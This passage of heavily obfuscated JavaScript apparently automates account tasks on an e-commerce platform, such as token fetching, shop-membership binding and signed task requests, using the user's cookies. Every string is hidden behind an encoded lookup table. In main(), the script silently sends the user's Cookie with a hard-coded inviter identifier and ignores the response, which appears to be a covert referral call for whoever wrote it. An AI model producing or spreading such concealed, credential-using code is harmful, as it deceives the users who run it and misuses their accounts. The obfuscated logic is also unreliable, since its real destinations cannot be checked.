_0x17c783(_0x20ddaa,_0x2d538d,_0x2b74b3);},'wwwrF':_0x2386('‫78'),'uPeSG':function(_0x1f76f4,_0x173da5){return _0x1f76f4===_0x173da5;},'CXAUI':_0x2386('‮79'),'lhceD':_0x2386('‫7a'),'uCdNX':function(_0x1fbd80,_0x3e8eba){return _0x1fbd80===_0x3e8eba;},'ZbUzs':function(_0x27a14c,_0x4d537a){return _0x27a14c===_0x4d537a;},'gOsPv':_0x2386('‮7b'),'YmWkq':_0x2386('‮7c'),'Brqio':function(_0x3c5761,_0x35b9e2){return _0x3c5761+_0x35b9e2;},'bgdcH':_0x2386('‮7d'),'jJgZO':_0x2386('‮7e'),'VMsGz':function(_0x2bcc84,_0x450a4e,_0xa316b8){return _0x2bcc84(_0x450a4e,_0xa316b8);},'qyJyi':_0x2386('‫7f'),'oZzdU':_0x2386('‮80'),'SIcTO':_0x2386('‮81'),'RKcFh':_0x2386('‮82'),'TxiSH':_0x2386('‮83'),'AFwNJ':function(_0x1d11eb,_0x51bd45){return _0x1d11eb===_0x51bd45;},'Fszvg':_0x2386('‫84'),'yfmFg':function(_0x1c4365,_0x53562c){return _0x1c4365===_0x53562c;},'yTmXw':_0x2386('‫85'),'iROPU':function(_0x2f6f05,_0x15c0cd){return _0x2f6f05!==_0x15c0cd;},'YAcTk':_0x2386('‮86'),'ifbAX':_0x2386('‮87'),'RJuNm':function(_0x40f542,_0x2c108d){return _0x40f542===_0x2c108d;},'uxHgl':_0x2386('‮88'),'uEpml':function(_0x26b4fa,_0xe3f45f,_0x3e71b6){return _0x26b4fa(_0xe3f45f,_0x3e71b6);},'vfIqM':_0x2386('‮89'),'UfNRt':_0x2386('‫8a'),'hVeEV':function(_0x59faad,_0x1ecd80,_0x578b66){return _0x59faad(_0x1ecd80,_0x578b66);},'UhOnh':function(_0x596c92,_0x19b69f){return _0x596c92===_0x19b69f;},'ZSFqz':_0x2386('‮8b'),'OKAId':_0x2386('‫8c'),'hdmjx':function(_0x2ce5e5,_0x49bf73,_0x452db9){return _0x2ce5e5(_0x49bf73,_0x452db9);},'luPPU':_0x2386('‫8d'),'tvLwI':function(_0x5f14f0,_0x13cb21,_0x22d023){return _0x5f14f0(_0x13cb21,_0x22d023);},'AARlK':_0x2386('‮8e'),'nylch':function(_0x5228e6,_0x2fb01d){return _0x5228e6!=_0x2fb01d;},'MZHbV':_0x2386('‫8f'),'PXqsI':_0x2386('‮90'),'QXOjZ':function(_0x1d4608,_0x19e0c9,_0x335039){return _0x1d4608(_0x19e0c9,_0x335039);},'TpyIz':_0x2386('‮91'),'AdVzs':_0x2386('‫92'),'NSUNF':_0x2386('‮93'),'cXDGy':_0x2386('‫94'),'FEwPk':_0x2386('‫95'),'NjVAG':function(_0x38546e,_0x3e2720,_0x15ed58){return _0x38546e(_0x3e2720,_0x15ed58);},'wPmfl':_0x2386('‫96'),'tWLUu':_0x2386('‫97'),'wPUox':_0x2386('‫98')};$[_0x2386('‫99')]=null;$[_0x2386('‫9a')]=null;$[_0x2386('‫9b')]=null;$[_0x2386('‫9c')]=null;await _0x265e82[_0x2386('‮9d')](getToken);console[_0x2386('‫b')]($[_0x2386('‫99')]);if($[_0x2386('‫99')]){await $[_0x2386('‮68')](0x7d0);await _0x265e82[_0x2386('‫9e')](task,_0x265e82[_0x2386('‮9f')],{'inviteNick':$[_0x2386('‫65')],'jdToken':$[_0x2386('‫99')],'shopId':null},0x0);await $[_0x2386('‮68')](0x7d0);if($[_0x2386('‫9a')]){if(_0x265e82[_0x2386('‮a0')](_0x265e82[_0x2386('‮a1')],_0x265e82[_0x2386('‮a1')])){console[_0x2386('‫b')](_0x265e82[_0x2386('‮a2')](_0x265e82[_0x2386('‫a3')],$[_0x2386('‫9a')]));if(_0x265e82[_0x2386('‫a4')]($[_0x2386('‫47')],0x1)){if(_0x265e82[_0x2386('‮a5')](_0x265e82[_0x2386('‮a6')],_0x265e82[_0x2386('‮a7')])){$[_0x2386('‮3d')]=res[_0x2386('‫3b')][_0x2386('‮3c')][0x0][_0x2386('‮3e')][_0x2386('‮3f')];}else{ownCode=$[_0x2386('‫9a')];console[_0x2386('‫b')](_0x265e82[_0x2386('‮a8')](_0x265e82[_0x2386('‮a9')],ownCode));}}await $[_0x2386('‮68')](0x7d0);console[_0x2386('‫b')](_0x265e82[_0x2386('‫aa')]);await _0x265e82[_0x2386('‮ab')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x265e82[_0x2386('‮ad')],'inviterNick':$[_0x2386('‫65')]});await $[_0x2386('‮68')](0x7d0);console[_0x2386('‫b')](_0x265e82[_0x2386('‫ae')]);await _0x265e82[_0x2386('‮ab')](task,_0x265e82[_0x2386('‫af')],{});for(const _0x4ebf1f of $[_0x2386('‫9c')]){if(_0x265e82[_0x2386('‮a5')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮b1')])||_0x265e82[_0x2386('‫b2')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮b3')])||_0x265e82[_0x2386('‫b4')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮b5')])||_0x265e82[_0x2386('‫b4')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‮ad')])){if(_0x265e82[_0x2386('‫b6')](_0x265e82[_0x2386('‫b7')],_0x265e82[_0x2386('‮b8')])){continue;}else{console[_0x2386('‫b')](err);}}await $[_0x2386('‮68')](0x7d0);if(_0x265e82[_0x2386('‫b4')](_0x4ebf1f[_0x2386('‫b9')],![])){console[_0x2386('‫b')](_0x4ebf1f[_0x2386('‮ba')]);if(_0x265e82[_0x2386('‫bb')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‫bc')])){await _0x265e82[_0x2386('‫bd')](task,_0x265e82[_0x2386('‮be')],{});console[_0x2386('‫b')](_0x265e82[_0x2386('‮a8')](_0x265e82[_0x2386('‮bf')],$[_0x2386('‫c0')]));await _0x265e82[_0x2386('‫c1')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x4ebf1f[_0x2386('‮b0')],'shopId':$[_0x2386('‫c0')]});break;}else if(_0x265e82[_0x2386('‫c2')](_0x4ebf1f[_0x2386('‮b0')],_0x265e82[_0x2386('‫c3')])){if(_0x265e82[_0x2386('‫c2')](_0x265e82[_0x2386('‫c4')],_0x265e82[_0x2386('‫c4')])){await _0x265e82[_0x2386('‮c5')](task,_0x265e82[_0x2386('‫c6')],{});await _0x265e82[_0x2386('‮c5')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x4ebf1f[_0x2386('‮b0')],'goodsNumId':$[_0x2386('‮c7')]});}else{_0x265e82[_0x2386('‫c8')](resolve);}}else{await _0x265e82[_0x2386('‫c9')](task,_0x265e82[_0x2386('‮ac')],{'missionType':_0x4ebf1f[_0x2386('‮b0')]});}}else{console[_0x2386('‫b')](_0x265e82[_0x2386('‮a8')](_0x4ebf1f[_0x2386('‮ba')],_0x265e82[_0x2386('‮ca')]));}}await $[_0x2386('‮68')](0x7d0);if(_0x265e82[_0x2386('‮cb')]($[_0x2386('‮cc')],0x0)){var _0x229151=_0x265e82[_0x2386('‮cd')][_0x2386('‫ce')]('|'),_0x4dc1b3=0x0;while(!![]){switch(_0x229151[_0x4dc1b3++]){case'0':console[_0x2386('‫b')](_0x265e82[_0x2386('‫cf')]);continue;case'1':await _0x265e82[_0x2386('‮d0')](task,_0x265e82[_0x2386('‫d1')],{'type':_0x265e82[_0x2386('‫d2')],'remark':_0x265e82[_0x2386('‫d3')]});continue;case'2':await _0x265e82[_0x2386('‮d0')](task,_0x265e82[_0x2386('‮d4')],{'carId':0x1,'carName':_0x265e82[_0x2386('‫d5')]});continue;case'3':await _0x265e82[_0x2386('‫d6')](task,_0x265e82[_0x2386('‮d7')],{'gameLogId':$[_0x2386('‫d8')],'point':0xc8});continue;case'4':await $[_0x2386('‮68')](0x3e8);continue;case'5':await $[_0x2386('‮68')](0x7d0);continue;}break;}}}else{var _0x28db00=new Date()[_0x2386('‫d9')](),_0x29002a=_0x265e82[_0x2386('‫da')],_0x1ea4ac=_0x265e82[_0x2386('‮db')],_0x32e921=JSON[_0x2386('‫dc')](t),_0x1cd94f=_0x265e82[_0x2386('‮dd')](encodeURIComponent,_0x32e921),_0x1fee2a=new RegExp('\x27','g'),_0x1059d3=new RegExp('~','g'),_0x1cd94f=_0x1cd94f[_0x2386('‮de')](_0x1fee2a,_0x265e82[_0x2386('‮df')]),_0x1cd94f=_0x1cd94f[_0x2386('‮de')](_0x1059d3,_0x265e82[_0x2386('‮e0')]),_0x18f589=_0x265e82[_0x2386('‮e1')](_0x265e82[_0x2386('‫e2')](_0x265e82[_0x2386('‮e3')](_0x265e82[_0x2386('‫e4')](_0x265e82[_0x2386('‫e4')](_0x265e82[_0x2386('‫e4')](_0x265e82[_0x2386('‮a2')](_0x1ea4ac,_0x265e82[_0x2386('‫e5')]),_0x1ea4ac),_0x265e82[_0x2386('‫e6')]),_0x1cd94f),_0x265e82[_0x2386('‮e7')]),_0x28db00),_0x29002a);return{'sign':CryptoJS[_0x2386('‫e8')](_0x18f589[_0x2386('‫e9')]())[_0x2386('‫ea')](),'timeStamp':_0x28db00};}}else{$[_0x2386('‫b')](_0x265e82[_0x2386('‫eb')]);}}else{$[_0x2386('‫b')](_0x265e82[_0x2386('‫ec')]);}}function task(_0x1b27d0,_0x1a4c00,_0x4992c8=0x1){var _0x54dd8b={'CxBgD':function(_0x8a97b3){return _0x8a97b3();},'qyVlL':function(_0x1bd8ec,_0x1ccd08){return _0x1bd8ec*_0x1ccd08;},'uuonj':function(_0x2fce4c,_0x149b00){return _0x2fce4c===_0x149b00;},'gQfTz':_0x2386('‮ed'),'JtOQT':function(_0x2b89a1,_0xaf2ebe){return _0x2b89a1!==_0xaf2ebe;},'IYdZt':_0x2386('‮ee'),'XbUXY':_0x2386('‮ef'),'dDXXf':_0x2386('‮f0'),'HOCQJ':_0x2386('‫f1'),'eqNis':_0x2386('‫78'),'LHGcp':_0x2386('‫7f'),'bmVlz':function(_0x4053ad,_0x61100c){return _0x4053ad===_0x61100c;},'Mdncn':function(_0x2e0a64,_0xfbef15){return _0x2e0a64===_0xfbef15;},'LoVmQ':_0x2386('‫f2'),'vQXvm':_0x2386('‮f3'),'dLpfb':_0x2386('‮82'),'QMinW':_0x2386('‮89'),'yBDmD':_0x2386('‫8d'),'mgPSU':_0x2386('‫94'),'FHZrB':_0x2386('‮91'),'iOJwY':_0x2386('‮f4'),'iUgXQ':_0x2386('‮f5'),'LKiPM':_0x2386('‫96'),'MIEbI':_0x2386('‮f6'),'UuOSQ':_0x2386('‫f7'),'FDavm':_0x2386('‫f8'),'CvPeX':function(_0x20bfc2){return _0x20bfc2();},'QNqYw':_0x2386('‫f9'),'vRWua':function(_0x340b57,_0x9b6515,_0x28a159,_0x8883f0){return _0x340b57(_0x9b6515,_0x28a159,_0x8883f0);},'oTLJK':_0x2386('‮fa'),'zCzjz':_0x2386('‫fb'),'qdmAL':function(_0x3e47ef,_0x2e1991){return _0x3e47ef(_0x2e1991);}};body={'jsonRpc':_0x54dd8b[_0x2386('‫fc')],'params':{'commonParameter':{'appkey':$[_0x2386('‮5f')],'m':_0x54dd8b[_0x2386('‫fd')],'userId':$[_0x2386('‫61')]},'admJson':{'actId':$[_0x2386('‫63')],'method':_0x2386('‮fe')+_0x1b27d0,'userId':$[_0x2386('‫61')],'buyerNick':$[_0x2386('‫9a')]?$[_0x2386('‫9a')]:''}}};Object[_0x2386('‮ff')](body[_0x2386('‫100')][_0x2386('‫76')],_0x1a4c00);let _0x2d748b=_0x54dd8b[_0x2386('‫101')](getSign,body[_0x2386('‫100')][_0x2386('‫76')]);body[_0x2386('‫100')][_0x2386('‫102')][_0x2386('‮103')]=_0x2d748b[_0x2386('‮103')];body[_0x2386('‫100')][_0x2386('‫102')][_0x2386('‮77')]=_0x2d748b[_0x2386('‮104')];return new Promise(_0x2ad461=>{var _0x55c70c={'jAfGm':function(_0x1584ba){return _0x54dd8b[_0x2386('‮105')](_0x1584ba);},'sTQQq':function(_0x461040,_0x2d47a6){return _0x54dd8b[_0x2386('‮106')](_0x461040,_0x2d47a6);},'EDHcl':function(_0x3abae7,_0x1fa4f0){return _0x54dd8b[_0x2386('‮107')](_0x3abae7,_0x1fa4f0);},'etLJR':_0x54dd8b[_0x2386('‫108')],'mIkDA':function(_0x453a6c,_0x4f9621){return _0x54dd8b[_0x2386('‮109')](_0x453a6c,_0x4f9621);},'WsvAN':_0x54dd8b[_0x2386('‮10a')],'NVLiC':_0x54dd8b[_0x2386('‮10b')],'Jqwrj':_0x54dd8b[_0x2386('‮10c')],'zpEsN':_0x54dd8b[_0x2386('‮10d')],'PbdWU':_0x54dd8b[_0x2386('‫10e')],'iMcjp':_0x54dd8b[_0x2386('‮10f')],'HMCKR':function(_0x1af5ca,_0xab7f4a){return _0x54dd8b[_0x2386('‫110')](_0x1af5ca,_0xab7f4a);},'tmDBI':function(_0x36f1f5,_0x1f75e0){return _0x54dd8b[_0x2386('‮111')](_0x36f1f5,_0x1f75e0);},'zMvwL':_0x54dd8b[_0x2386('‫112')],'gKjah':_0x54dd8b[_0x2386('‫113')],'VTlUA':_0x54dd8b[_0x2386('‫114')],'OQYCL':_0x54dd8b[_0x2386('‮115')],'EQenL':_0x54dd8b[_0x2386('‮116')],'ZXcyP':_0x54dd8b[_0x2386('‮117')],'fqadp':_0x54dd8b[_0x2386('‮118')],'JYmwY':_0x54dd8b[_0x2386('‫119')],'ogxae':_0x54dd8b[_0x2386('‫11a')],'rCsGR':_0x54dd8b[_0x2386('‮11b')],'HYfwg':_0x54dd8b[_0x2386('‮11c')],'tpQCx':_0x54dd8b[_0x2386('‮11d')],'OgIXU':_0x54dd8b[_0x2386('‫11e')],'PItFz':function(_0x56fc04){return _0x54dd8b[_0x2386('‮11f')](_0x56fc04);}};if(_0x54dd8b[_0x2386('‮109')](_0x54dd8b[_0x2386('‫120')],_0x54dd8b[_0x2386('‫120')])){_0x55c70c[_0x2386('‮121')](_0x2ad461);}else{$[_0x2386('‮122')](_0x54dd8b[_0x2386('‫123')](taskUrl,_0x1b27d0,body,_0x4992c8),async(_0x48289a,_0x25c366,_0x5543ca)=>{var _0x4ecb8f={'VDcAn':function(_0x15a2a9,_0x5bb2f1){return _0x55c70c[_0x2386('‮124')](_0x15a2a9,_0x5bb2f1);},'lgPXT':function(_0x581e43,_0x51220d){return _0x55c70c[_0x2386('‮125')](_0x581e43,_0x51220d);},'MghDc':_0x55c70c[_0x2386('‮126')],'HJJoR':function(_0x482773){return _0x55c70c[_0x2386('‮121')](_0x482773);}};try{if(_0x55c70c[_0x2386('‫127')](_0x55c70c[_0x2386('‫128')],_0x55c70c[_0x2386('‫129')])){if(_0x48289a){$[_0x2386('‫b')](_0x48289a);}else{if(_0x5543ca){_0x5543ca=JSON[_0x2386('‫e')](_0x5543ca);if(_0x5543ca[_0x2386('‫3a')]){if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){if(_0x55c70c[_0x2386('‫127')](_0x55c70c[_0x2386('‫12c')],_0x55c70c[_0x2386('‫12d')])){switch(_0x1b27d0){case _0x55c70c[_0x2386('‮12e')]:$[_0x2386('‫9a')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‮12f')][_0x2386('‫9a')];$[_0x2386('‫130')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‫131')][_0x2386('‫132')];$[_0x2386('‮12f')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‮12f')];$[_0x2386('‮cc')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‮12f')][_0x2386('‮cc')];break;case _0x55c70c[_0x2386('‫133')]:if(_0x55c70c[_0x2386('‮134')](_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')],0x1f4)){console[_0x2386('‫b')](_0x5543ca[_0x2386('‮12a')][_0x2386('‫2a')]);}else if(_0x55c70c[_0x2386('‮135')](_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')],0xc8)){if(_0x55c70c[_0x2386('‫127')](_0x55c70c[_0x2386('‮136')],_0x55c70c[_0x2386('‫137')])){console[_0x2386('‫b')](_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‫138')]);}else{Host=HostArr[Math[_0x2386('‫139')](_0x4ecb8f[_0x2386('‮13a')](Math[_0x2386('‫13b')](),HostArr[_0x2386('‮31')]))];}}break;case _0x55c70c[_0x2386('‮13c')]:if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){$[_0x2386('‫9c')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')];}break;case _0x55c70c[_0x2386('‫13d')]:if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){$[_0x2386('‫c0')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‫13e')][_0x2386('‮13f')];}break;case _0x55c70c[_0x2386('‫140')]:if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){$[_0x2386('‮c7')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‮141')][_0x2386('‮142')];}break;case _0x55c70c[_0x2386('‮143')]:if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){$[_0x2386('‫d8')]=_0x5543ca[_0x2386('‮12a')][_0x2386('‮12a')][_0x2386('‫d8')];}break;case _0x55c70c[_0x2386('‮144')]:if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){if(_0x55c70c[_0x2386('‮135')](_0x55c70c[_0x2386('‮145')],_0x55c70c[_0x2386('‮146')])){console[_0x2386('‫b')](error);}else{console[_0x2386('‫b')](_0x5543ca[_0x2386('‮12a')]);}}break;case _0x55c70c[_0x2386('‫147')]:if(_0x5543ca[_0x2386('‮12a')][_0x2386('‫12b')]){if(_0x55c70c[_0x2386('‮135')](_0x55c70c[_0x2386('‮148')],_0x55c70c[_0x2386('‫149')])){if(_0x5543ca){_0x5543ca=JSON[_0x2386('‫e')](_0x5543ca);if(_0x4ecb8f[_0x2386('‫14a')](_0x5543ca[_0x2386('‫14b')],'0')){$[_0x2386('‫99')]=_0x5543ca[_0x2386('‫99')];}}else{$[_0x2386('‫b')](_0x4ecb8f[_0x2386('‫14c')]);}}else{console[_0x2386('‫b')](_0x5543ca[_0x2386('‮12a')]);}}break;default:break;}}else{if(res[_0x2386('‫3b')][_0x2386('‮3c')]){$[_0x2386('‮3d')]=res[_0x2386('‫3b')][_0x2386('‮3c')][0x0][_0x2386('‮3e')][_0x2386('‮3f')];}}}}}else{$[_0x2386('‫b')](_0x55c70c[_0x2386('‮14d')]);}}}else{_0x4ecb8f[_0x2386('‫14e')](_0x2ad461);}}catch(_0x3f3f51){$[_0x2386('‫b')](_0x3f3f51);}finally{_0x55c70c[_0x2386('‫14f')](_0x2ad461);}});}});}async function main(_0x15c1aa){var _0x382a2e={'XpMUO':_0x2386('‮150'),'pyxHs':_0x2386('‫151'),'MtQeu':function(_0x3a5f11,_0x1ed5cb){return _0x3a5f11*_0x1ed5cb;},'cyGLk':_0x2386('‫152'),'yKNuF':_0x2386('‮153'),'dfaJV':function(_0x13f3e9,_0x523097){return _0x13f3e9(_0x523097);},'rQhJW':_0x2386('‮154'),'cWfaJ':_0x2386('‫155'),'UiION':_0x2386('‮156'),'ZdBdr':_0x2386('‫157'),'EuQMA':_0x2386('‫158'),'Adjsd':function(_0x1f433a,_0x4fedd5){return _0x1f433a(_0x4fedd5);},'GtjFz':_0x2386('‮159'),'NejLv':_0x2386('‮15a'),'TpDkS':_0x2386('‫15b'),'RWScJ':_0x2386('‫15c'),'rzKLo':_0x2386('‮15d')};$[_0x2386('‫2e')]=0x1;$[_0x2386('‫15e')]=_0x382a2e[_0x2386('‮15f')];const _0x40126e=[_0x382a2e[_0x2386('‫160')]];let _0x52a018=_0x40126e[Math[_0x2386('‫139')](_0x382a2e[_0x2386('‫161')](Math[_0x2386('‫13b')](),_0x40126e[_0x2386('‮31')]))];let _0x74ad76={'url':_0x382a2e[_0x2386('‮162')],'body':_0x2386('‫163')+JSON[_0x2386('‫dc')]({'method':_0x382a2e[_0x2386('‮164')],'data':{'channel':'1','encryptionInviterPin':_0x382a2e[_0x2386('‫165')](encodeURIComponent,_0x52a018),'type':0x1}})+_0x2386('‫166')+Date[_0x2386('‫167')](),'headers':{'Host':_0x382a2e[_0x2386('‫168')],'Accept':_0x382a2e[_0x2386('‫169')],'Content-Type':_0x382a2e[_0x2386('‫16a')],'Origin':_0x382a2e[_0x2386('‮16b')],'Accept-Language':_0x382a2e[_0x2386('‮16c')],'User-Agent':$[_0x2386('‫1')]()?process[_0x2386('‫8')][_0x2386('‮16d')]?process[_0x2386('‫8')][_0x2386('‮16d')]:_0x382a2e[_0x2386('‮16e')](require,_0x382a2e[_0x2386('‫16f')])[_0x2386('‮170')]:$[_0x2386('‮c')](_0x382a2e[_0x2386('‮171')])?$[_0x2386('‮c')](_0x382a2e[_0x2386('‮171')]):_0x382a2e[_0x2386('‫172')],'Referer':_0x382a2e[_0x2386('‫173')],'Accept-Encoding':_0x382a2e[_0x2386('‫174')],'Cookie':_0x15c1aa}};$[_0x2386('‮122')](_0x74ad76,(_0x17d27c,_0x157a1e,_0x129272)=>{});}function getShopOpenCardInfo(_0x377dea,_0x53cc3b){var _0x4138fe={'xZSef':function(_0x4e61b1,_0x3cd439){return _0x4e61b1===_0x3cd439;},'MRAPu':_0x2386('‮175'),'fYins':_0x2386('‫176'),'YUbmv':_0x2386('‫177'),'vmfpc':_0x2386('‫178'),'QTWVP':function(_0x55bd81,_0x247d2e){return _0x55bd81!==_0x247d2e;},'EXozl':_0x2386('‮179'),'ezyuX':function(_0x228125){return _0x228125();},'YHYgb':function(_0x50e26d,_0x2dd30a){return _0x50e26d(_0x2dd30a);},'vtdHC':_0x2386('‮154'),'dwfYU':_0x2386('‫17a'),'MxpgX':_0x2386('‮17b'),'rzpjp':_0x2386('‫17c'),'BcWVA':function(_0x3976cd,_0x456743){return _0x3976cd(_0x456743);},'WyfGj':_0x2386('‮15d')};let _0x5e7e73={'url':_0x2386('‫17d')+_0x4138fe[_0x2386('‮17e')](encodeURIComponent,JSON[_0x2386('‫dc')](_0x377dea))+_0x2386('‫17f'),'headers':{'Host':_0x4138fe[_0x2386('‮180')],'Accept':_0x4138fe[_0x2386('‫181')],'Connection':_0x4138fe[_0x2386('‮182')],'Cookie':cookie,'User-Agent':_0x2386('‮183')+$[_0x2386('‫55')]+_0x2386('‮184')+$[_0x2386('‮52')]+_0x2386('‮185'),'Accept-Language':_0x4138fe[_0x2386('‮186')],'Referer':_0x2386('‮187')+_0x53cc3b+_0x2386('‫188')+_0x4138fe[_0x2386('‮189')](encodeURIComponent,$[_0x2386('‫18a')]),'Accept-Encoding':_0x4138fe[_0x2386('‫18b')]}};return new Promise(_0x2ac40c=>{var _0x1a5bc2={'uYqSu':function(_0x3aca33,_0x486562){return _0x4138fe[_0x2386('‫18c')](_0x3aca33,_0x486562);},'EODHv':_0x4138fe[_0x2386('‫18d')],'qrRYe':_0x4138fe[_0x2386('‮18e')],'VLleN':_0x4138fe[_0x2386('‮18f')],'vKAim':_0x4138fe[_0x2386('‮190')],'JNSzk':function(_0x4398ba,_0x35e05c){return _0x4138fe[_0x2386('‮191')](_0x4398ba,_0x35e05c);},'clZTO':_0x4138fe[_0x2386('‮192')],'EyrNY':function(_0x591bb6){return _0x4138fe[_0x2386('‮193')](_0x591bb6);}};$[_0x2386('‫194')](_0x5e7e73,(_0x5cbc73,_0x31f1de,_0x470f33)=>{if(_0x1a5bc2[_0x2386('‫195')](_0x1a5bc2[_0x2386('‮196')],_0x1a5bc2[_0x2386('‫197')])){$[_0x2386('‫b')]('','❌\x20'+$[_0x2386('‮2b')]+_0x2386('‮6e')+e+'!','');}else{try{if(_0x5cbc73){if(_0x1a5bc2[_0x2386('‫195')](_0x1a5bc2[_0x2386('‮198')],_0x1a5bc2[_0x2386('‮198')])){console[_0x2386('‫b')](_0x5cbc73);}else{$[_0x2386('‫49')]=![];return;}}else{if(_0x1a5bc2[_0x2386('‫195')](_0x1a5bc2[_0x2386('‫199')],_0x1a5bc2[_0x2386('‫199')])){res=JSON[_0x2386('‫e')](_0x470f33);if(res[_0x2386('‫3a')]){if(_0x1a5bc2[_0x2386('‮19a')](_0x1a5bc2[_0x2386('‮19b')],_0x1a5bc2[_0x2386('‮19b')])){uuid=v[_0x2386('‫ea')](0x24)[_0x2386('‮19c')]();}else{if(res[_0x2386('‫3b')][_0x2386('‮3c')]){$[_0x2386('‮3d')]=res[_0x2386('‫3b')][_0x2386('‮3c')][0x0][_0x2386('‮3e')][_0x2386('‮3f')];}}}}else{Host=process[_0x2386('‫8')][_0x2386('‫19d')];}}}catch(_0x1cf0a4){console[_0x2386('‫b')](_0x1cf0a4);}finally{_0x1a5bc2[_0x2386('‮19e')](_0x2ac40c);}}});});}async function bindWithVender(_0x24b853,_0x4bcfd5){var _0x3007b2={'xMElV':_0x2386('‫f8'),'mtcfy':_0x2386('‮150'),'CVFei':_0x2386('‫151'),'DFzAC':function(_0x19be81,_0xe0e8ab){return _0x19be81*_0xe0e8ab;},'TTBGY':_0x2386('‫152'),'TZVMA':_0x2386('‮153'),'Dcxlg':function(_0x24e4c8,_0x262925){return _0x24e4c8(_0x262925);},'OkhJy':_0x2386('‮154'),'biiZU':_0x2386('‫155'),'ksMHy':_0x2386('‮156'),'PFMuo':_0x2386('‫157'),'XqFEA':_0x2386('‫158'),'mNIbN':_0x2386('‮159'),'cKCJn':_0x2386('‮15a'),'TydIC':_0x2386('‫15b'),'hwUOd':_0x2386('‫15c'),'OsyiU':_0x2386('‮15d'),'gZNRi':function(_0x5a0815,_0x4b6993){return _0x5a0815+_0x4b6993;},'gSWbt':function(_0x2cd1e3,_0x444567){return _0x2cd1e3===_0x444567;},'gALGk':_0x2386('‫a'),'AAMGh':_0x2386('‮19f'),'lTqgy':_0x2386('‫1a0'),'mTvoy':function(_0x55d218,_0x96d345){return _0x55d218!==_0x96d345;},'sIbpE':_0x2386('‮1a1'),'CzOga':_0x2386('‫1a2'),'ahtqL':function(_0xb10199,_0x5961a9){return _0xb10199!==_0x5961a9;},'smxgC':_0x2386('‮1a3'),'hrJdH':_0x2386('‫1a4'),'SsioZ':_0x2386('‫1a5'),'OVQOa':function(_0x3d5429){return _0x3d5429();},'tciup':function(_0x328505,_0x14d718,_0x45ceb4){return _0x328505(_0x14d718,_0x45ceb4);},'uiMzT':_0x2386('‮1a6'),'XBwqX':_0x2386('‫17a'),'Jabfz':_0x2386('‮17b'),'OhUoi':_0x2386('‫17c')};return h5st=await _0x3007b2[_0x2386('‫1a7')](geth5st,_0x3007b2[_0x2386('‫1a8')],_0x24b853),opt={'url':_0x2386('‫1a9')+h5st,'headers':{'Host':_0x3007b2[_0x2386('‫1aa')],'Accept':_0x3007b2[_0x2386('‫1ab')],'Connection':_0x3007b2[_0x2386('‫1ac')],'Cookie':cookie,'User-Agent':_0x2386('‮183')+$[_0x2386('‫55')]+_0x2386('‮184')+$[_0x2386('‮52')]+_0x2386('‮185'),'Accept-Language':_0x3007b2[_0x2386('‫1ad')],'Referer':_0x2386('‮187')+_0x4bcfd5+_0x2386('‮1ae')+_0x3007b2[_0x2386('‫1af')](encodeURIComponent,$[_0x2386('‫18a')]),'Accept-Encoding':_0x3007b2[_0x2386('‫1b0')]}},new Promise(_0x4b4165=>{var _0x4216f8={'OIzEA':_0x3007b2[_0x2386('‮1b1')],'pzzGs':_0x3007b2[_0x2386('‫1b2')],'gMrvU':_0x3007b2[_0x2386('‮1b3')],'Lokhn':function(_0x26a70f,_0x4561b9){return _0x3007b2[_0x2386('‮1b4')](_0x26a70f,_0x4561b9);},'bzdGD':_0x3007b2[_0x2386('‮1b5')],'bDSyT':_0x3007b2[_0x2386('‫1b6')],'DilJI':function(_0x4c21f0,_0x4c7743){return _0x3007b2[_0x2386('‫1af')](_0x4c21f0,_0x4c7743);},'AkHeh':_0x3007b2[_0x2386('‫1aa')],'KqLqw':_0x3007b2[_0x2386('‮1b7')],'IvQfn':_0x3007b2[_0x2386('‫1b8')],'lxkLK':_0x3007b2[_0x2386('‮1b9')],'fOpsn':_0x3007b2[_0x2386('‫1ba')],'YQIsu':_0x3007b2[_0x2386('‮1bb')],'gzkaa':_0x3007b2[_0x2386('‮1bc')],'xmRpJ':_0x3007b2[_0x2386('‫1bd')],'Ekiqt':_0x3007b2[_0x2386('‮1be')],'ngwnK':_0x3007b2[_0x2386('‫1b0')],'XqEJF':function(_0x42278a,_0x111845){return _0x3007b2[_0x2386('‫1bf')](_0x42278a,_0x111845);},'PXgnn':function(_0x79d980,_0x3306a1){return _0x3007b2[_0x2386('‮1c0')](_0x79d980,_0x3306a1);},'syptA':_0x3007b2[_0x2386('‮1c1')],'NOxGM':function(_0x21e657,_0x3a9b69){return _0x3007b2[_0x2386('‮1c0')](_0x21e657,_0x3a9b69);},'qTtGG':_0x3007b2[_0x2386('‮1c2')],'vECxp':_0x3007b2[_0x2386('‮1c3')],'JDkGL':function(_0x43d8bb,_0x48f7b1){return _0x3007b2[_0x2386('‫1c4')](_0x43d8bb,_0x48f7b1);},'mMCaT':_0x3007b2[_0x2386('‫1c5')],'vBFRs':_0x3007b2[_0x2386('‫1c6')],'RaAcP':function(_0x553937,_0x1761c7){return 